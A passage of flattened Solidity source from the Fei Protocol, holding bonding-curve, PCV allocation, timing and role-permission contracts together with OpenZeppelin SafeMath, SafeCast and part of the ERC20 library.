pragma experimental ABIEncoderV2;
/// @title abstract contract for splitting PCV into different deposits
/// @author Fei Protocol
abstract contract PCVSplitter {
/// @notice total allocation allowed representing 100%
uint public constant ALLOCATION_GRANULARITY = 10_000;
uint[] private ratios;
address[] private pcvDeposits;
event AllocationUpdate(address[] _pcvDeposits, uint[] _ratios);
/// @notice PCVSplitter constructor
/// @param _pcvDeposits list of PCV Deposits to split to
/// @param _ratios ratios for splitting PCV Deposit allocations
constructor(address[] memory _pcvDeposits, uint[] memory _ratios) public {
_setAllocation(_pcvDeposits, _ratios);
}
/// @notice make sure an allocation has matching lengths and totals the ALLOCATION_GRANULARITY
/// @param _pcvDeposits new list of pcv deposits to send to
/// @param _ratios new ratios corresponding to the PCV deposits
/// @return true if it is a valid allocation
function checkAllocation(address[] memory _pcvDeposits, uint[] memory _ratios) public pure returns (bool) {
require(_pcvDeposits.length == _ratios.length, "PCVSplitter: PCV Deposits and ratios are different lengths");
uint total;
for (uint i; i < _ratios.length; i++) {
total += _ratios[i];
}
require(total == ALLOCATION_GRANULARITY, "PCVSplitter: ratios do not total 100%");
return true;
}
/// @notice gets the pcvDeposits and ratios of the splitter
function getAllocation() public view returns (address[] memory, uint[] memory) {
return (pcvDeposits, ratios);
}
/// @notice distribute funds to single PCV deposit
/// @param amount amount of funds to send
/// @param pcvDeposit the pcv deposit to send funds
function _allocateSingle(uint amount, address pcvDeposit) internal virtual ;
/// @notice sets a new allocation for the splitter
/// @param _pcvDeposits new list of pcv deposits to send to
/// @param _ratios new ratios corresponding to the PCV deposits. Must total ALLOCATION_GRANULARITY
function _setAllocation(address[] memory _pcvDeposits, uint[] memory _ratios) internal {
checkAllocation(_pcvDeposits, _ratios);
pcvDeposits = _pcvDeposits;
ratios = _ratios;
emit AllocationUpdate(_pcvDeposits, _ratios);
}
/// @notice distribute funds to all pcv deposits at specified allocation ratios
/// @param total amount of funds to send
function _allocate(uint total) internal {
uint granularity = ALLOCATION_GRANULARITY;
for (uint i; i < ratios.length; i++) {
uint amount = total * ratios[i] / granularity;
_allocateSingle(amount, pcvDeposits[i]);
}
}
}
// File contracts/fei-protocol/utils/SafeMath32.sol
// SPDX-License-Identifier: MIT
// SafeMath for 32 bit integers inspired by OpenZeppelin SafeMath
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath32 {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint32 a, uint32 b) internal pure returns (uint32) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint32 a, uint32 b, string memory errorMessage) internal pure returns (uint32) {
require(b <= a, errorMessage);
uint32 c = a - b;
return c;
}
}
// File @openzeppelin/contracts/utils/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// File contracts/fei-protocol/utils/Timed.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title an abstract contract for timed events
/// @author Fei Protocol
abstract contract Timed {
using SafeCast for uint;
using SafeMath32 for uint32;
/// @notice the start timestamp of the timed period
uint32 public startTime;
/// @notice the duration of the timed period
uint32 public duration;
constructor(uint32 _duration) public {
duration = _duration;
}
/// @notice return true if time period has ended
function isTimeEnded() public view returns (bool) {
return remainingTime() == 0;
}
/// @notice number of seconds remaining until time is up
/// @return remaining
function remainingTime() public view returns (uint32) {
return duration.sub(timestamp());
}
/// @notice number of seconds since contract was initialized
/// @return timestamp
/// @dev will be less than or equal to duration
function timestamp() public view returns (uint32) {
uint32 d = duration;
// solhint-disable-next-line not-rely-on-time
uint32 t = now.toUint32().sub(startTime);
return t > d ? d : t;
}
function _initTimed() internal {
// solhint-disable-next-line not-rely-on-time
startTime = now.toUint32();
}
}
// File contracts/fei-protocol/bondingcurve/BondingCurve.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title an abstract bonding curve for purchasing FEI
/// @author Fei Protocol
abstract contract BondingCurve is IBondingCurve, OracleRef, PCVSplitter, Timed {
using Decimal for Decimal.D256;
using Roots for uint;
uint public override scale;
uint public override totalPurchased; // FEI_b for this curve
uint public override buffer = 100;
uint public constant BUFFER_GRANULARITY = 10_000;
uint public override incentiveAmount;
/// @notice constructor
/// @param _scale the Scale target where peg fixes
/// @param _core Fei Core to reference
/// @param _pcvDeposits the PCV Deposits for the PCVSplitter
/// @param _ratios the ratios for the PCVSplitter
/// @param _oracle the UniswapOracle to reference
/// @param _duration the duration between incentivizing allocations
/// @param _incentive the amount rewarded to the caller of an allocation
constructor(
uint _scale,
address _core,
address[] memory _pcvDeposits,
uint[] memory _ratios,
address _oracle,
uint32 _duration,
uint _incentive
) public
OracleRef(_core, _oracle)
PCVSplitter(_pcvDeposits, _ratios)
Timed(_duration)
{
_setScale(_scale);
incentiveAmount = _incentive;
}
function setScale(uint _scale) external override onlyGovernor {
_setScale(_scale);
emit ScaleUpdate(_scale);
}
function setBuffer(uint _buffer) external override onlyGovernor {
require(_buffer < BUFFER_GRANULARITY, "BondingCurve: Buffer exceeds or matches granularity");
buffer = _buffer;
emit BufferUpdate(_buffer);
}
function setAllocation(address[] calldata allocations, uint[] calldata ratios) external override onlyGovernor {
_setAllocation(allocations, ratios);
}
function allocate() external override {
uint amount = getTotalPCVHeld();
require(amount != 0, "BondingCurve: No PCV held");
_allocate(amount);
_incentivize();
emit Allocate(msg.sender, amount);
}
function atScale() public override view returns (bool) {
return totalPurchased >= scale;
}
function getCurrentPrice() public view override returns(Decimal.D256 memory) {
if (atScale()) {
return peg().mul(_getBuffer());
}
return peg().div(_getBondingCurvePriceMultiplier());
}
function getAmountOut(uint amountIn) public view override returns (uint amountOut) {
uint adjustedAmount = getAdjustedAmount(amountIn);
if (atScale()) {
return _getBufferAdjustedAmount(adjustedAmount);
}
return _getBondingCurveAmountOut(adjustedAmount);
}
function getAveragePrice(uint amountIn) public view override returns (Decimal.D256 memory) {
uint adjustedAmount = getAdjustedAmount(amountIn);
uint amountOut = getAmountOut(amountIn);
return Decimal.ratio(adjustedAmount, amountOut);
}
function getAdjustedAmount(uint amountIn) internal view returns (uint) {
return peg().mul(amountIn).asUint256();
}
function getTotalPCVHeld() public view override virtual returns(uint);
function _purchase(uint amountIn, address to) internal returns (uint amountOut) {
updateOracle();
amountOut = getAmountOut(amountIn);
incrementTotalPurchased(amountOut);
fei().mint(to, amountOut);
emit Purchase(to, amountIn, amountOut);
return amountOut;
}
function incrementTotalPurchased(uint amount) internal {
totalPurchased += amount;
}
function _setScale(uint _scale) internal {
scale = _scale;
}
function _incentivize() internal virtual {
if (isTimeEnded()) {
_initTimed();
fei().mint(msg.sender, incentiveAmount);
}
}
function _getBondingCurvePriceMultiplier() internal view virtual returns(Decimal.D256 memory);
function _getBondingCurveAmountOut(uint adjustedAmountIn) internal view virtual returns(uint);
function _getBuffer() internal view returns(Decimal.D256 memory) {
uint granularity = BUFFER_GRANULARITY;
return Decimal.ratio(granularity - buffer, granularity);
}
function _getBufferAdjustedAmount(uint amountIn) internal view returns(uint) {
return _getBuffer().mul(amountIn).asUint256();
}
}
// File contracts/fei-protocol/pcv/IPCVDeposit.sol
pragma solidity ^0.6.2;
/// @title a PCV Deposit interface
/// @author Fei Protocol
interface IPCVDeposit {
// ----------- Events -----------
event Deposit(address indexed _from, uint _amount);
event Withdrawal(address indexed _caller, address indexed _to, uint _amount);
// ----------- State changing api -----------
/// @notice deposit tokens into the PCV allocation
/// @param amount of tokens deposited
function deposit(uint amount) external payable;
// ----------- PCV Controller only state changing api -----------
/// @notice withdraw tokens from the PCV allocation
/// @param amount of tokens withdrawn
/// @param to the address to send PCV to
function withdraw(address to, uint amount) external;
// ----------- Getters -----------
/// @notice returns total value of PCV in the Deposit
function totalValue() external view returns(uint);
}
// File contracts/fei-protocol/bondingcurve/EthBondingCurve.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title a square root growth bonding curve for purchasing FEI with ETH
/// @author Fei Protocol
contract EthBondingCurve is BondingCurve {
uint internal immutable SHIFT; // k shift
constructor(
uint scale,
address core,
address[] memory pcvDeposits,
uint[] memory ratios,
address oracle,
uint32 duration,
uint incentive
) public BondingCurve(
scale,
core,
pcvDeposits,
ratios,
oracle,
duration,
incentive
) {
SHIFT = scale / 3; // Enforces a .50c starting price per bonding curve formula
}
function purchase(address to, uint amountIn) external override payable postGenesis returns (uint amountOut) {
require(msg.value == amountIn, "Bonding Curve: Sent value does not equal input");
return _purchase(amountIn, to);
}
function getTotalPCVHeld() public view override returns(uint) {
return address(this).balance;
}
// Represents the integral solved for upper bound of P(x) = ((k+X)/(k+S))^1/2 * O. Subtracting starting point C
function _getBondingCurveAmountOut(uint adjustedAmountIn) internal view override returns (uint amountOut) {
uint shiftTotal = _shift(totalPurchased); // k + C
uint radicand = (3 * adjustedAmountIn * _shift(scale).sqrt() / 2) + shiftTotal.threeHalfsRoot();
return radicand.twoThirdsRoot() - shiftTotal; // result - (k + C)
}
function _getBondingCurvePriceMultiplier() internal view override returns(Decimal.D256 memory) {
return Decimal.ratio(_shift(totalPurchased).sqrt(), _shift(scale).sqrt());
}
function _allocateSingle(uint amount, address pcvDeposit) internal override {
IPCVDeposit(pcvDeposit).deposit{value : amount}(amount);
}
function _shift(uint x) internal view returns(uint) {
return SHIFT + x;
}
}
// File contracts/fei-protocol/core/Permissions.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title IPermissions implementation
/// @author Fei Protocol
contract Permissions is IPermissions, AccessControl {
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PCV_CONTROLLER_ROLE = keccak256("PCV_CONTROLLER_ROLE");
bytes32 public constant GOVERN_ROLE = keccak256("GOVERN_ROLE");
bytes32 public constant REVOKE_ROLE = keccak256("REVOKE_ROLE");
constructor() public {
_setupGovernor(address(this));
_setRoleAdmin(MINTER_ROLE, GOVERN_ROLE);
_setRoleAdmin(BURNER_ROLE, GOVERN_ROLE);
_setRoleAdmin(PCV_CONTROLLER_ROLE, GOVERN_ROLE);
_setRoleAdmin(GOVERN_ROLE, GOVERN_ROLE);
_setRoleAdmin(REVOKE_ROLE, GOVERN_ROLE);
}
modifier onlyGovernor() {
require(isGovernor(msg.sender), "Permissions: Caller is not a governor");
_;
}
modifier onlyRevoker() {
require(isRevoker(msg.sender), "Permissions: Caller is not a revoker");
_;
}
function createRole(bytes32 role, bytes32 adminRole) external override onlyGovernor {
_setRoleAdmin(role, adminRole);
}
function grantMinter(address minter) external override onlyGovernor {
grantRole(MINTER_ROLE, minter);
}
function grantBurner(address burner) external override onlyGovernor {
grantRole(BURNER_ROLE, burner);
}
function grantPCVController(address pcvController) external override onlyGovernor {
grantRole(PCV_CONTROLLER_ROLE, pcvController);
}
function grantGovernor(address governor) external override onlyGovernor {
grantRole(GOVERN_ROLE, governor);
}
function grantRevoker(address revoker) external override onlyGovernor {
grantRole(REVOKE_ROLE, revoker);
}
function revokeMinter(address minter) external override onlyGovernor {
revokeRole(MINTER_ROLE, minter);
}
function revokeBurner(address burner) external override onlyGovernor {
revokeRole(BURNER_ROLE, burner);
}
function revokePCVController(address pcvController) external override onlyGovernor {
revokeRole(PCV_CONTROLLER_ROLE, pcvController);
}
function revokeGovernor(address governor) external override onlyGovernor {
revokeRole(GOVERN_ROLE, governor);
}
function revokeRevoker(address revoker) external override onlyGovernor {
revokeRole(REVOKE_ROLE, revoker);
}
function revokeOverride(bytes32 role, address account) external override onlyRevoker {
this.revokeRole(role, account);
}
function isMinter(address _address) external override view returns (bool) {
return hasRole(MINTER_ROLE, _address);
}
function isBurner(address _address) external override view returns (bool) {
return hasRole(BURNER_ROLE, _address);
}
function isPCVController(address _address) external override view returns (bool) {
return hasRole(PCV_CONTROLLER_ROLE, _address);
}
// only virtual for testing mock override
function isGovernor(address _address) public override view virtual returns (bool) {
return hasRole(GOVERN_ROLE, _address);
}
function isRevoker(address _address) public override view returns (bool) {
return hasRole(REVOKE_ROLE, _address);
}
function _setupGovernor(address governor) internal {
_setupRole(GOVERN_ROLE, governor);
}
}
// File @openzeppelin/contracts/math/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
